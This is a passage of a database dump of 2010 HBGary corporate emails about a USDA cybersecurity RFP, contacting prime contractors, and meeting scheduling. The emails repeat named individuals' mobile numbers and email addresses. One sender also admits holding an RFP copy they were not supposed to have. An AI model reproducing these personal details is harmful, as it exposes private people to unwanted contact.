\r\n\r\n\r\nOn Apr 29, 2010, at 12:07 PM, Maria Lucas wrote:\r\n\r\n\r\nBob / Penny / Rich / Aaron\r\n\r\n \r\n\r\nI have a copy of the USDA RFP sent to 6 system integrators.  The requirements were written by Harris so they are not bidding.  Malware detection is a large component.  Strangely it implies a Damballa like solution as a preface to the malware detection requirements.....   \r\n\r\n\r\n \r\n\r\nIt is odd that none of BPA holders have contacted HBGary.  We need to work fast because the RFP is due May 7th...   The USDA received $44 million to build out a SOC.\r\n\r\n \r\n\r\nFYI / Background Rich has met twice with Harris and they have stated they want to purchase 1,400 nodes this year but we don&#39;t necessarily trust the Harris relationship.  If this RFP is written &quot;not for&quot; HBGary then we should protest because Harris has a conflict of interest with HBGary.  I heard that Patriot is protesting....\r\n\r\n\r\n \r\n\r\nWe are not suppose to have a copy of the RFP and have been asked not to disclose our source...\r\n\r\n\r\n\r\n\r\nMaria,\r\nPer our conversation, security services BPA holders are. \r\n\r\n \r\nUnisys\r\nNelson E. Scott\r\nNelson.Scott@unisys.com\r\nwork 571-449-6192 \r\n\r\n \r\nCSC\r\nJim King\r\nAccount Director - Environment, Agriculture and Natural Resources CSC\r\n655 15th Street, NW, Suite 500, Washington, DC 20005 Civil Division | office: 202.741.4304 | mobile: 703.963.4533 | fax:\r\n703.461.2020 | jking46@csc.com |www.csc.com/environment\r\n\r\n \r\nWilliam BowersPrincipal Security EngineerCSC6000 Lincoln Drive Marlton, NJ 08053GSS  | Office: 856-985-6720 |  Cell: 609-975-3887  | Fax: 856-985-8912 |  wbowers4@csc.com  | www.csc.com\r\n\r\n\r\n \r\nVerizon Business\r\nBusiness contact \r\nReginald Hendricks\r\nReginald.hendricks@verizonbusiness.com\r\n703-284-4602\r\n\r\n \r\nTechnical contact\r\nAndre Chinn\r\nSr. Solutions Consultant\r\nFederal Civilian Agencies\r\nOffice: 703.886.8229\r\nMobile: 571.246.3041\r\nandre.chinn@verizonbusiness.com\r\n\r\n\r\n \r\nMantech\r\nBD Lead: \r\nVince Lively, (703)388-2131, vince.lively@mantech.com\r\nOps Lead:\r\nJamey Dillon, (703)388-0364, Jamey.dillon@mantech.com\r\n\r\n \r\nKLC\r\nS. David Warman\r\nKLC Network Services, Inc.\r\nEVP &amp; COO\r\nMobile: 240-367-5717\r\nsdwarman@klcnetworks.com\r\n\r\n \r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n \r\n\r\n\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n -- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nWebsite:  www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n',472,'aaron_hbgary_com/472.html'),(5818,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004251.M317677P14101Q674.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','Re: USDA info','It may be they are looking for a perimeter solution because Crucial has convinced them they have the endpoint solution already. &nbsp;This doesn\'t necessarily have to be a complete offering but maybe just to plug a hole. &nbsp;USDA and FBI are Crucials biggest customers.AaronOn Apr 29, 2010, at 3:14 PM, Penny Leavy-Hoglund wrote:This doesn’t even look like it includes anything on the end point.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Is there anyway we can talk to Crucial about this?&nbsp;&nbsp; While perimeter solutions do remove certain malware, most come in through the client through FLASH, PDF etc. &nbsp;&nbsp;Not sure if they were only looking at perimeter, but they will still have a huge malware problem.&nbsp; Perhaps a call into the CISO at Dept Agriculture?&nbsp;From:&nbsp;Maria Lucas [mailto:maria@hbgary.com]&nbsp;Sent:&nbsp;Thursday, April 29, 2010 11:58 AMTo:&nbsp;Penny Leavy-HoglundCc:&nbsp;Aaron Barr; Bob Slapnik; Rich CummingsSubject:&nbsp;Re: USDA info&nbsp;USDA attachment&nbsp;Aaron we really appreciate your support.&nbsp;Do you know Jamie Dillon?&nbsp; Rich met Jamie last year so I&nbsp;it was a surprise&nbsp;that he has not contacted us.&nbsp; Jamie is aware we have an enterprise solution for DDNA -- I\'ve spoken to him many times....&nbsp;Verizon&nbsp; -- BobUnisys&nbsp; - ?? MariaMantech - AaronCSC -- AaronKLC -- ?? MariaOn Thu, Apr 29, 2010 at 11:29 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:Do it&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, April 29, 2010 11:29 AMTo:&nbsp;Maria LucasCc:&nbsp;Bob Slapnik; Penny C. Hoglund; Rich CummingsSubject:&nbsp;Re: USDA info&nbsp;If desired I could get us in to talk with the CSC and Mantech folks.&nbsp;Aaron&nbsp;On Apr 29, 2010, at 12:07 PM, Maria Lucas wrote:&nbsp;Bob / Penny / Rich / Aaron&nbsp;I have a copy of the USDA RFP sent to 6 system integrators.&nbsp; The requirements were written by Harris so they are not bidding.&nbsp; Malware detection is a large component.&nbsp; Strangely it implies a Damballa like solution as a preface to the malware detection requirements.....&nbsp;&nbsp;&nbsp;It is odd that none of BPA holders have contacted HBGary.&nbsp; We need to work fast because the RFP is due May 7th...&nbsp;&nbsp; The USDA received $44 million to build out a SOC.&nbsp;FYI / Background Rich has met twice with Harris and they have stated they want to purchase 1,400 nodes this year but we don\'t necessarily trust the Harris relationship.&nbsp; If this RFP is written \"not for\" HBGary then we should protest because Harris has a conflict of interest with HBGary.&nbsp; I heard that Patriot is protesting....&nbsp;We are not suppose to have a copy of the RFP and have been asked not to disclose our source...Maria,Per our conversation, security services BPA holders are.&nbsp;UnisysNelson E. ScottNelson.Scott@unisys.comwork&nbsp;571-449-6192&nbsp;CSCJim KingAccount Director - Environment, Agriculture and Natural Resources CSC655 15th Street, NW, Suite 500, Washington, DC 20005 Civil Division | office: 202.741.4304 | mobile: 703.963.4533 | fax:703.461.2020 |&nbsp;jking46@csc.com&nbsp;|www.csc.com/environment&nbsp;William BowersPrincipal Security EngineerCSC6000 Lincoln Drive Marlton, NJ 08053GSS&nbsp;&nbsp;| Office: 856-985-6720 |&nbsp;&nbsp;Cell: 609-975-3887&nbsp;&nbsp;| Fax: 856-985-8912 |&nbsp;&nbsp;wbowers4@csc.com&nbsp;&nbsp;|&nbsp;www.csc.com&nbsp;Verizon BusinessBusiness contactReginald HendricksReginald.hendricks@verizonbusiness.com703-284-4602&nbsp;Technical contactAndre ChinnSr. Solutions ConsultantFederal Civilian AgenciesOffice: 703.886.8229Mobile: 571.246.3041andre.chinn@verizonbusiness.com&nbsp;MantechBD Lead:Vince Lively, (703)388-2131,&nbsp;vince.lively@mantech.comOps Lead:Jamey Dillon, (703)388-0364,&nbsp;Jamey.dillon@mantech.com&nbsp;KLCS. David WarmanKLC Network Services, Inc.EVP &amp; COOMobile: 240-367-5717sdwarman@klcnetworks.com&nbsp;--&nbsp;Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971Website: &nbsp;www.hbgary.com&nbsp;|email:&nbsp;maria@hbgary.com&nbsp;http://forensicir.blogspot.com/2009/04/responder-pro-review.html&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;--&nbsp;Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971Website: &nbsp;www.hbgary.com&nbsp;|email:&nbsp;maria@hbgary.com&nbsp;http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11104,'aaron_hbgary_com/11104.html'),(5819,'2010-04-29','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297004251.M529048P14101Q675.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','Re: USDA info','I spoke to Unisys and he is having problems responding... he said the RFP is written for specific vendors and his job is to find out who they are.....  he doesn&#39;t see that we fit.\r\n \r\nsome people are saying that the malware detection is written for FireEye; and he also heard a second RFP coming out for Encase Enterprise and some other technologies.\r\n \r\n he also asked the size of the deployment  -- it is for the 13 locations and that is all he knows  \r\nOn Thu, Apr 29, 2010 at 12:14 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nThis doesn’t even look like it includes anything on the end point.            Is there anyway we can talk to Crucial about this?   While perimeter solutions do remove certain malware, most come in through the client through FLASH, PDF etc.   Not sure if they were only looking at perimeter, but they will still have a huge malware problem.  Perhaps a call into the CISO at Dept Agriculture?\r\n\r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: Thursday, April 29, 2010 11:58 AM\r\nTo: Penny Leavy-HoglundCc: Aaron Barr; Bob Slapnik; Rich CummingsSubject: Re: USDA info\r\n\r\n\r\n\r\n \r\n\r\nUSDA attachment\r\n\r\n \r\n\r\nAaron we really appreciate your support. Do you know Jamie Dillon?  Rich met Jamie last year so I it was a surprise that he has not contacted us.  Jamie is aware we have an enterprise solution for DDNA -- I&#39;ve spoken to him many times....\r\n\r\n\r\n \r\n\r\nVerizon  -- Bob\r\n\r\nUnisys  - ?? Maria\r\n\r\nMantech - Aaron\r\n\r\nCSC -- Aaron\r\n\r\nKLC -- ?? Maria\r\n\r\nOn Thu, Apr 29, 2010 at 11:29 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\nDo it\r\n \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Thursday, April 29, 2010 11:29 AM\r\nTo: Maria LucasCc: Bob Slapnik; Penny C. Hoglund; Rich CummingsSubject: Re: USDA info\r\n\r\n\r\n \r\nIf desired I could get us in to talk with the CSC and Mantech folks.\r\n\r\n \r\n\r\nAaron\r\n\r\n \r\n\r\n\r\nOn Apr 29, 2010, at 12:07 PM, Maria Lucas wrote:\r\n \r\n\r\nBob / Penny / Rich / Aaron\r\n\r\n \r\n\r\nI have a copy of the USDA RFP sent to 6 system integrators.  The requirements were written by Harris so they are not bidding.  Malware detection is a large component.  Strangely it implies a Damballa like solution as a preface to the malware detection requirements.....   \r\n\r\n\r\n \r\n\r\nIt is odd that none of BPA holders have contacted HBGary.  We need to work fast because the RFP is due May 7th...   The USDA received $44 million to build out a SOC.\r\n\r\n \r\n\r\nFYI / Background Rich has met twice with Harris and they have stated they want to purchase 1,400 nodes this year but we don&#39;t necessarily trust the Harris relationship.  If this RFP is written &quot;not for&quot; HBGary then we should protest because Harris has a conflict of interest with HBGary.  I heard that Patriot is protesting....\r\n\r\n\r\n \r\n\r\nWe are not suppose to have a copy of the RFP and have been asked not to disclose our source...\r\n\r\n\r\n\r\n\r\nMaria,\r\nPer our conversation, security services BPA holders are. \r\n\r\n \r\nUnisys\r\nNelson E. Scott\r\nNelson.Scott@unisys.com\r\nwork 571-449-6192 \r\n\r\n \r\nCSC\r\nJim King\r\nAccount Director - Environment, Agriculture and Natural Resources CSC\r\n655 15th Street, NW, Suite 500, Washington, DC 20005 Civil Division | office: 202.741.4304 | mobile: 703.963.4533 | fax:\r\n703.461.2020 | jking46@csc.com |www.csc.com/environment\r\n\r\n \r\nWilliam BowersPrincipal Security EngineerCSC6000 Lincoln Drive Marlton, NJ 08053GSS  | Office: 856-985-6720 |  Cell: 609-975-3887  | Fax: 856-985-8912 |  wbowers4@csc.com  | www.csc.com\r\n\r\n\r\n \r\nVerizon Business\r\nBusiness contact \r\nReginald Hendricks\r\nReginald.hendricks@verizonbusiness.com\r\n703-284-4602\r\n\r\n \r\nTechnical contact\r\nAndre Chinn\r\nSr. Solutions Consultant\r\nFederal Civilian Agencies\r\nOffice: 703.886.8229\r\nMobile: 571.246.3041\r\nandre.chinn@verizonbusiness.com\r\n\r\n\r\n \r\nMantech\r\nBD Lead: \r\nVince Lively, (703)388-2131, vince.lively@mantech.com\r\nOps Lead:\r\nJamey Dillon, (703)388-0364, Jamey.dillon@mantech.com\r\n\r\n \r\nKLC\r\nS. David Warman\r\nKLC Network Services, Inc.\r\nEVP &amp; COO\r\nMobile: 240-367-5717\r\nsdwarman@klcnetworks.com\r\n\r\n \r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n \r\n\r\n\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n \r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nWebsite:  www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n',373,'aaron_hbgary_com/373.html'),(5820,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004251.M820117P14101Q676.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Tuesday Writing Meeting','yep.On Apr 29, 2010, at 2:41 PM, Clair, Chris (TASC) wrote:\r\n\r\nHi Aaron,Can you attend a 10-200 writing meeting over here on Tuesday?&nbsp; I’d like to solidify the outline and get to work on the whitepaper.Let me know what you think.Thanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n__________________________________________________\r\n&nbsp; \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16258,'aaron_hbgary_com/16258.html'),(5821,'2010-04-29','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004251.M93899P14101Q673.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,,','RE: USDA info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThis doesn&#8217;t even look like it includes anything on the end\r\npoint.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Is there anyway we can talk to Crucial about this?&nbsp;&nbsp; While\r\nperimeter solutions do remove certain malware, most come in through the client\r\nthrough FLASH, PDF etc. &nbsp;&nbsp;Not sure if they were only looking at perimeter, but\r\nthey will still have a huge malware problem.&nbsp; Perhaps a call into the CISO at Dept\r\nAgriculture?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Thursday, April 29, 2010 11:58 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Aaron Barr; Bob Slapnik; Rich Cummings\r\nSubject: Re: USDA info\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nUSDA attachment\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron we really appreciate your support.&nbsp;Do you know\r\nJamie Dillon?&nbsp; Rich met Jamie last year so I&nbsp;it was a\r\nsurprise&nbsp;that he has not contacted us.&nbsp; Jamie is aware we have an\r\nenterprise solution for DDNA -- I\'ve spoken to him many times....\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nVerizon&nbsp; -- Bob\r\n\r\n\r\n\r\n\r\n\r\nUnisys&nbsp; - ?? Maria\r\n\r\n\r\n\r\n\r\n\r\nMantech - Aaron\r\n\r\n\r\n\r\n\r\n\r\nCSC -- Aaron\r\n\r\n\r\n\r\n\r\n\r\nKLC -- ?? Maria\r\n\r\n\r\n\r\n\r\n\r\nOn Thu, Apr 29, 2010 at 11:29 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nDo it\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron\r\nBarr [mailto:aaron@hbgary.com]\r\n\r\nSent: Thursday, April 29, 2010 11:29 AM\r\nTo: Maria Lucas\r\nCc: Bob Slapnik; Penny C. Hoglund; Rich Cummings\r\nSubject: Re: USDA info\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nIf\r\ndesired I could get us in to talk with the CSC and Mantech folks.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nApr 29, 2010, at 12:07 PM, Maria Lucas wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob\r\n/ Penny / Rich / Aaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nhave a copy of the USDA RFP sent to 6 system integrators.&nbsp; The\r\nrequirements were written by Harris so they are not bidding.&nbsp; Malware\r\ndetection is a large component.&nbsp; Strangely it implies a Damballa like\r\nsolution as a preface to the malware detection requirements.....&nbsp;&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIt\r\nis odd that none of BPA holders have contacted HBGary.&nbsp; We need to work\r\nfast because the RFP is due May 7th...&nbsp;&nbsp; The USDA received $44\r\nmillion to build out a SOC.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFYI\r\n/ Background Rich has met twice with Harris and they have stated they want to\r\npurchase 1,400 nodes this year but we don\'t necessarily trust the Harris\r\nrelationship.&nbsp; If this RFP is written &quot;not for&quot; HBGary then we\r\nshould protest because Harris has a conflict of interest with HBGary.&nbsp; I\r\nheard that Patriot is protesting....\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe\r\nare not suppose to have a copy of the RFP and have been asked not to disclose\r\nour source...\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMaria,\r\n\r\nPer\r\nour conversation, security services BPA holders are. \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nUnisys\r\n\r\nNelson\r\nE. Scott\r\n\r\nNelson.Scott@unisys.com\r\n\r\nwork&nbsp;571-449-6192\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nCSC\r\n\r\nJim King\r\n\r\nAccount Director - Environment, Agriculture and Natural Resources CSC\r\n\r\n655 15th Street, NW, Suite 500, Washington, DC 20005 Civil Division |\r\noffice: 202.741.4304 | mobile: 703.963.4533 | fax:\r\n\r\n703.461.2020 | jking46@csc.com\r\n|www.csc.com/environment\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWilliam Bowers\r\nPrincipal Security Engineer\r\nCSC\r\n6000 Lincoln Drive Marlton, NJ 08053\r\nGSS&nbsp;&nbsp;| Office: 856-985-6720 |&nbsp;&nbsp;Cell:\r\n609-975-3887&nbsp;&nbsp;| Fax: 856-985-8912 |&nbsp;&nbsp;wbowers4@csc.com&nbsp;&nbsp;|\r\nwww.csc.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nVerizon\r\nBusiness\r\n\r\nBusiness\r\ncontact \r\n\r\nReginald\r\nHendricks\r\n\r\nReginald.hendricks@verizonbusiness.com\r\n\r\n703-284-4602\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nTechnical\r\ncontact\r\n\r\nAndre Chinn\r\n\r\nSr. Solutions\r\nConsultant\r\n\r\nFederal\r\nCivilian Agencies\r\n\r\nOffice:\r\n703.886.8229\r\n\r\nMobile:\r\n571.246.3041\r\n\r\nandre.chinn@verizonbusiness.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMantech\r\n\r\nBD\r\nLead: \r\n\r\nVince\r\nLively, (703)388-2131, vince.lively@mantech.com\r\n\r\nOps\r\nLead:\r\n\r\nJamey\r\nDillon, (703)388-0364, Jamey.dillon@mantech.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nKLC\r\n\r\nS.\r\nDavid Warman\r\n\r\nKLC\r\nNetwork Services, Inc.\r\n\r\nEVP\r\n&amp; COO\r\n\r\nMobile:\r\n240-367-5717\r\n\r\nsdwarman@klcnetworks.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite: &nbsp;www.hbgary.com\r\n|email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite: &nbsp;www.hbgary.com |email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4717,'aaron_hbgary_com/4717.html'),(5822,'2010-04-29','\"Nieves, Alexander\" <Alexander.Nieves@ManTech.com>','/aaron@hbgary.com/new/1297004252.M277810P14101Q678.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: USDA','Sure let\'s get some lunch next week\r\n\r\nSent from my iPhone\r\n\r\nOn Apr 29, 2010, at 2:52 PM, \"Aaron Barr\"  wrote:\r\n\r\n> Hi Alex,\r\n>\r\n> Curious if you are leading your response to the USDA RFP for  \r\n> cybersecurity?  Is it worth a conversation of how we might be able  \r\n> to help?  We are in the process of implemented our Threat Management  \r\n> Center at NSA to assist in threat identification and malware  \r\n> processing, might help USDA as well.  Active Defense product is also  \r\n> working well which manages malware identification on the endpoints.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',6353,'aaron_hbgary_com/6353.html'),(5823,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004252.M496248P14101Q679.eml','\"Irby Thompson\" <irby@pikewerks.com>','Re: Lunch tomorrow.','Hey sorry I got confused or confused u not sure which.  I have a customer meeting up in MD and can\'t get back down until about 3pm.  Want to  get together then or maybe a good time next week would be better?\r\n\r\nAaron\r\nOn Apr 29, 2010, at 11:55 AM, Irby Thompson wrote:\r\n\r\n> Aaron,\r\n> \r\n> I am in Huntsville today, but should get back late tonight. I think we\'ll be good for lunch tomorrow, can we touch base in the morning?\r\n> \r\n> \r\n> \r\n> On Apr 28, 2010, at 9:51 PM, Aaron Barr  wrote:\r\n> \r\n>> Hey Irby,\r\n>> \r\n>> Hows your Friday look?\r\n>> \r\n>> I have been in discussions with Paul.  We signed a TA with them last week.  I talked about our team for Cyber Genome.  Lets discuss when we get together.\r\n>> \r\n>> Aaron\r\n>> \r\n>> On Apr 26, 2010, at 4:05 PM, Irby Thompson wrote:\r\n>> \r\n>>> I\'m out of town Wed-Thurs. I have a 2PM meeting Friday, but it may get moved. I\'ll check back with you on Wednesday and see if we can get together on Friday.\r\n>>> \r\n>>> Also, have you been in discussions with Paul Rooney from CSC?\r\n>>> \r\n>>>   Regards,\r\n>>>   Irby\r\n>>> \r\n>>> \r\n>>> On Apr 26, 2010, at 3:46 PM, Aaron Barr wrote:\r\n>>> \r\n>>>> Irby,\r\n>>>> \r\n>>>> I am stuck tomorrow bouncing all over.  I am pretty open wed-thurs. and can get together from 1pm on on Friday.\r\n>>>> Aaron\r\n>>>> \r\n>>>> On Apr 26, 2010, at 3:40 PM, Irby Thompson wrote:\r\n>>>> \r\n>>>>> My noon meeting tomorrow just got moved. You still interested in lunch?\r\n>>>>> \r\n>>>>>       -irby\r\n>>>>> \r\n>>>>> \r\n>>>>> On Apr 26, 2010, at 3:14 PM, Aaron Barr wrote:\r\n>>>>> \r\n>>>>>> hmmm... my 2 bad days this week.  multiple meetings tomorrow and a 930-1100am up at NSA on Friday.  Could maybe do 1pm or so on Friday.\r\n>>>>>> \r\n>>>>>> Aaron\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> On Apr 26, 2010, at 12:47 PM, Irby Thompson wrote:\r\n>>>>>> \r\n>>>>>>> Aaron,\r\n>>>>>>> \r\n>>>>>>> I have a call at noon tomorrow, you want to grab lunch before that or afterwards? Otherwise, we could try on Friday.\r\n>>>>>>> \r\n>>>>>>>   -Irby\r\n>>>>>> \r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal Inc.\r\n>>>>>> \r\n>>>>> \r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5031,'aaron_hbgary_com/5031.html'),(5824,'2010-04-29','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004252.M72870P14101Q677.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: USDA info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny, Maria, Rich and Aaron,\r\n\r\n&nbsp;\r\n\r\nThis USDA RFP isn&#8217;t a good fit for HBGary.&nbsp; They want\r\nEndpoint capabilities in the future and the things they want there don&#8217;t\r\nmatch what we do.&nbsp; Once the RFP is written and it doesn&#8217;t fit us,\r\nour chances of winning are small.\r\n\r\n&nbsp;\r\n\r\nEven though this opportunity doesn&#8217;t fit us, it still\r\nmakes sense for Aaron and me to reach out to the primes listed.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Thursday, April 29, 2010 2:27 PM\r\nTo: \'Maria Lucas\'; \'Bob Slapnik\'; \'Rich Cummings\'; \'Aaron Barr\'\r\nSubject: RE: USDA info\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBob, you should know the Verizon and CSC people, you should call\r\nthem ASAP.&nbsp;&nbsp; Maria, do you have the RFP?&nbsp; What does pertinent\r\nsection say about malware detection?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Thursday, April 29, 2010 9:07 AM\r\nTo: Bob Slapnik; Penny C. Hoglund; Rich Cummings; Aaron Barr\r\nSubject: Re: USDA info\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob / Penny / Rich / Aaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI have a copy of the USDA RFP sent to 6 system\r\nintegrators.&nbsp; The requirements were written by Harris so they are not\r\nbidding.&nbsp; Malware detection is a large component.&nbsp; Strangely it\r\nimplies a Damballa like solution as a preface to the malware detection\r\nrequirements.....&nbsp;&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIt is odd that none of BPA holders have contacted\r\nHBGary.&nbsp; We need to work fast because the RFP is due May\r\n7th...&nbsp;&nbsp; The USDA received $44 million to build out a SOC.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFYI / Background Rich has met twice with Harris and they\r\nhave stated they want to purchase 1,400 nodes this year but we don\'t\r\nnecessarily trust the Harris relationship.&nbsp; If this RFP is written\r\n&quot;not for&quot; HBGary then we should protest because Harris has a conflict\r\nof interest with HBGary.&nbsp; I heard that Patriot is protesting....\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe are not suppose to have a copy of the RFP and have been\r\nasked not to disclose our 